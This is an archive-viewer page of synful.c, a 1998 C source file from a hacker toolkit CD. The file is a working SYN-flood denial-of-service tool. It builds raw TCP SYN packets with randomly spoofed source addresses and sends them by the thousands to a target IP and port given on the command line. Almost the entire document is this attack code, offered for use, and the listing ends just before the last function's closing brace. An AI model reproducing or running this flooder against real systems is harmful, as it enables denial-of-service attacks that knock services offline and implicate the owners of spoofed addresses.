home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / hackers / synful.c < prev    next >
C/C++ Source or Header  |  1998-09-09  |  6KB  |  207 lines

  1. /* synful.c - SYN (SYN/ACK and ACK blow) written by \\StOrM\\ */
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <signal.h>
  6. #include <string.h>
  7. #include <unistd.h>
  8. #include <netdb.h>
  9. #include <netinet/in.h>
  10. #include <sys/socket.h>
  11. #include <sys/time.h>
  12. #include <arpa/inet.h>
  13. #include <linux/ip.h>
  14. #include <linux/tcp.h>
  15.  
  16. void dosynpacket(unsigned int, unsigned int, unsigned short, unsigned short);
  17. unsigned short in_cksum(unsigned short *, int);
  18. unsigned int host2ip(char *);
  19.  
  20. main(int argc, char **argv)
  21. {
  22.    unsigned int srchost;
  23.    char tmpsrchost[12];
  24.    int i,s1,s2,s3,s4;
  25.    unsigned int dsthost;
  26.    unsigned short port=80;
  27.    unsigned short random_port;
  28.    unsigned int number=1000;  
  29.    printf("synful [It's so synful to send those spoofed SYN's]\n");
  30.    printf("Hacked out by \\\\StOrM\\\\\n\n");
  31.    if(argc < 2)
  32.    {
  33.       printf("syntax: synful targetIP\n", argv[0]);
  34.       exit(0);
  35.    }
  36.    initrand();
  37.    dsthost = host2ip(argv[1]);
  38.    if(argc >= 3) port = atoi(argv[2]);
  39.    if(argc >= 4) number = atoi(argv[3]);
  40.    if(port == 0) port = 80;
  41.    if(number == 0) number = 1000;
  42.    printf("Destination  : %s\n",argv[1]);
  43.    printf("Port         : %u\n",port);
  44.    printf("NumberOfTimes: %d\n\n", number);   
  45.    for(i=0;i < number;i++)
  46.    {
  47.       s1 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
  48.       s2 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
  49.       s3 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
  50.       s4 = 1+(int) (255.0*rand()/(RAND_MAX+1.0));      
  51.       random_port = 1+(int) (10000.0*rand()/(RAND_MAX+1.0));
  52.       sprintf(tmpsrchost,"%d.%d.%d.%d",s1,s2,s3,s4);
  53.       printf("Being Synful to %s at port %u from %s port %u\n", argv[1], port, tmpsrchost, random_port);
  54.       srchost = host2ip(tmpsrchost);
  55.       dosynpacket(srchost, dsthost, port, random_port);
  56.    }
  57. }
  58.  
  59. void dosynpacket(unsigned int source_addr, unsigned int dest_addr, unsigned short dest_port, unsigned short ran_port) {
  60.    struct send_tcp
  61.    {
  62.       struct iphdr ip;
  63.       struct tcphdr tcp;
  64.    } send_tcp;
  65.    struct pseudo_header
  66.    {
  67.       unsigned int source_address;
  68.       unsigned int dest_address;
  69.       unsigned char placeholder;
  70.       unsigned char protocol;
  71.       unsigned short tcp_length;
  72.       struct tcphdr tcp;
  73.    } pseudo_header;
  74.    int tcp_socket;
  75.    struct sockaddr_in sin;
  76.    int sinlen;
  77.             
  78.    /* form ip packet */
  79.    send_tcp.ip.ihl = 5;
  80.    send_tcp.ip.version = 4;
  81.    send_tcp.ip.tos = 0;
  82.    send_tcp.ip.tot_len = htons(40);
  83.    send_tcp.ip.id = ran_port;
  84.    send_tcp.ip.frag_off = 0;
  85.    send_tcp.ip.ttl = 255;
  86.    send_tcp.ip.protocol = IPPROTO_TCP;
  87.    send_tcp.ip.check = 0;
  88.    send_tcp.ip.saddr = source_addr;
  89.    send_tcp.ip.daddr = dest_addr;
  90.    
  91.    /* form tcp packet */
  92.    send_tcp.tcp.source = ran_port;
  93.    send_tcp.tcp.dest = htons(dest_port);
  94.    send_tcp.tcp.seq = ran_port;   
  95.    send_tcp.tcp.ack_seq = 0;
  96.    send_tcp.tcp.res1 = 0;
  97.    send_tcp.tcp.doff = 5;
  98.    send_tcp.tcp.fin = 0;
  99.    send_tcp.tcp.syn = 1;
  100.    send_tcp.tcp.rst = 0;
  101.    send_tcp.tcp.psh = 0;
  102.    send_tcp.tcp.ack = 0;
  103.    send_tcp.tcp.urg = 0;
  104.    send_tcp.tcp.res2 = 0;
  105.    send_tcp.tcp.window = htons(512);
  106.    send_tcp.tcp.check = 0;
  107.    send_tcp.tcp.urg_ptr = 0;
  108.    
  109.    /* setup the sin struct */
  110.    sin.sin_family = AF_INET;
  111.    sin.sin_port = send_tcp.tcp.source;
  112.    sin.sin_addr.s_addr = send_tcp.ip.daddr;   
  113.    
  114.    /* (try to) open the socket */
  115.    tcp_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  116.    if(tcp_socket < 0)
  117.    {
  118.       perror("socket");
  119.       exit(1);
  120.    }
  121.    
  122.       /* set fields that need to be changed */
  123.       send_tcp.tcp.source++;
  124.       send_tcp.ip.id++;
  125.       send_tcp.tcp.seq++;
  126.       send_tcp.tcp.check = 0;
  127.       send_tcp.ip.check = 0;
  128.       
  129.       /* calculate the ip checksum */
  130.       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  131.  
  132.       /* set the pseudo header fields */
  133.       pseudo_header.source_address = send_tcp.ip.saddr;
  134.       pseudo_header.dest_address = send_tcp.ip.daddr;
  135.       pseudo_header.placeholder = 0;
  136.       pseudo_header.protocol = IPPROTO_TCP;
  137.       pseudo_header.tcp_length = htons(20);
  138.       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  139.       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
  140.       sinlen = sizeof(sin);
  141.       sendto(tcp_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sinlen);
  142.    close(tcp_socket);
  143. }
  144.  
  145. unsigned short in_cksum(unsigned short *ptr, int nbytes)
  146. {
  147.     register long        sum;        /* assumes long == 32 bits */
  148.     u_short            oddbyte;
  149.     register u_short    answer;        /* assumes u_short == 16 bits */
  150.  
  151.     /*
  152.      * Our algorithm is simple, using a 32-bit accumulator (sum),
  153.      * we add sequential 16-bit words to it, and at the end, fold back
  154.      * all the carry bits from the top 16 bits into the lower 16 bits.
  155.      */
  156.  
  157.     sum = 0;
  158.     while (nbytes > 1)  {
  159.         sum += *ptr++;
  160.         nbytes -= 2;
  161.     }
  162.  
  163.                 /* mop up an odd byte, if necessary */
  164.     if (nbytes == 1) {
  165.         oddbyte = 0;        /* make sure top half is zero */
  166.         *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
  167.         sum += oddbyte;
  168.     }
  169.  
  170.     /*
  171.      * Add back carry outs from top 16 bits to low 16 bits.
  172.      */
  173.  
  174.     sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  175.     sum += (sum >> 16);            /* add carry */
  176.     answer = ~sum;        /* ones-complement, then truncate to 16 bits */
  177.     return(answer);
  178. }
  179.  
  180. unsigned int host2ip(char *hostname)
  181. {
  182.    static struct in_addr i;
  183.    struct hostent *h;
  184.    i.s_addr = inet_addr(hostname);
  185.    if(i.s_addr == -1)
  186.    {
  187.       h = gethostbyname(hostname);
  188.       if(h == NULL)
  189.       {
  190.          fprintf(stderr, "cant find %s!\n", hostname);
  191.          exit(0);
  192.       }
  193.       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
  194.    }
  195.    return i.s_addr;
  196. }
  197.  
  198. void initrand(void)
  199. {
  200.   struct timeval tv;
  201.  
  202.   gettimeofday(&tv, (struct timezone *) NULL);
  203.   srand(tv.tv_usec);
  204.          
  205.  
  206.